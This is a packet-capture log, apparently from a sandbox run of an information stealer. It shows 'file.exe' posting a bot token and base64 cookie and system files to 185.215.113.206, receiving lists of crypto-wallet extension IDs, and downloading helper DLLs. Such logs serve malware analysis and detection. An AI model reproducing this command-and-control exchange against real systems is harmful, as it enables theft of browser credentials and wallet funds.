Nov 20, 2024 23:12:24.990552902 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Nov 20, 2024 23:12:24.990606070 CET	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Nov 20, 2024 23:12:24.991993904 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"fplugins------EGDGCGCFHIEHIDGDBAAE--
Nov 20, 2024 23:12:25.634953022 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 23:12:25.653733015 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB Host: 185.215.113.206 Content-Length: 6891 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 23:12:25.653775930 CET	6891	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 23:12:26.842360020 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:12:27.120112896 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 23:12:27.576934099 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 23:12:27.577023029 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 20, 2024 23:12:29.120166063 CET	1236	IN	DELETE FROM %Q.sqlite_sequence WHERE name=%QDELETE FROM %Q.sqlite_master WHERE tbl_name=%Q and type!='trigger'table %s may not be dropped UNIQUEcannot create a TEMP index on non-TEMP table "%s"table %s may not be indexedviews may not be indexedvirtual tables may not be indexedthere is already a table named %sindex %s already existssqlite_autoindex_%s_%dexpressions prohibited in PRIMARY KEY and UNIQUE constraintsconflicting ON CONFLICT clauses specifiedCREATE%s INDEX %.sINSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);name='%q' AND type='index'table "%s" has more than one primary keyAUTOINCREMENT is only allowed on an INTEGER PRIMARY KEYTABLEVIEW), unknown datatype for %s.%s: "%s"missing datatype for %s.%sAUTOINCREMENT not allowed on WITHOUT ROWID tablesPRIMARY KEY missing on table %smust have at least one non-generated columnCREATE TABLE CREATE %s %.sUPDATE %Q.sqlite_master SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%dCREATE TABLE %Q. [TRUNCATED] Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49763	185.215.113.206	80	7740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:12:36.908683062 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CGDBFBGIDHCAAKEBAKFI--
Nov 20, 2024 23:12:38.746804953 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:12:38.894248009 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="file"------CBGCGDBKEGHIEBGDBFHD--
Nov 20, 2024 23:12:39.828959942 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49799	185.215.113.206	80	7740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:12:45.362121105 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: 185.215.113.206 Content-Length: 3083 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 23:12:45.362194061 CET	3083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 20, 2024 23:12:47.434113979 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:12:47.565010071 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Nov 20, 2024 23:12:48.519805908 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:12:49.064122915 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 23:12:49.519536972 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 23:12:49.519576073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 20, 2024 23:12:49.519586086 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 20, 2024 23:12:49.519722939 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 20, 2024 23:12:49.519732952 CET	496	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 20, 2024 23:12:49.519886017 CET	1236	IN	Data Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Nov 20, 2024 23:12:49.519900084 CET	1236	IN	Data Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Eshy
Nov 20, 2024 23:12:49.519949913 CET	1236	IN	Data Raw: 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 0f 70 e5 f5 66 0f f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f Data Ascii: fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfp
Nov 20, 2024 23:12:49.519961119 CET	1236	IN	Data Raw: d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f b6 04 01 89 45 cc 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 Data Ascii: uEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU
Nov 20, 2024 23:12:49.528192997 CET	1236	IN	Data Raw: ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b 76 34 89 b5 2c ff ff ff 8b 41 1c 89 85 bc fe ff ff 89 c7 11 f7 8b 41 38 89 85 d8 fe ff ff 01 c2 89 55 d0 8b 41 3c 11 c7 89 7d e4 89 c6 89 85 b4 Data Ascii: tF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E]1d1dMM}1
Nov 20, 2024 23:12:51.118277073 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 23:12:51.575273991 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 23:12:52.505592108 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
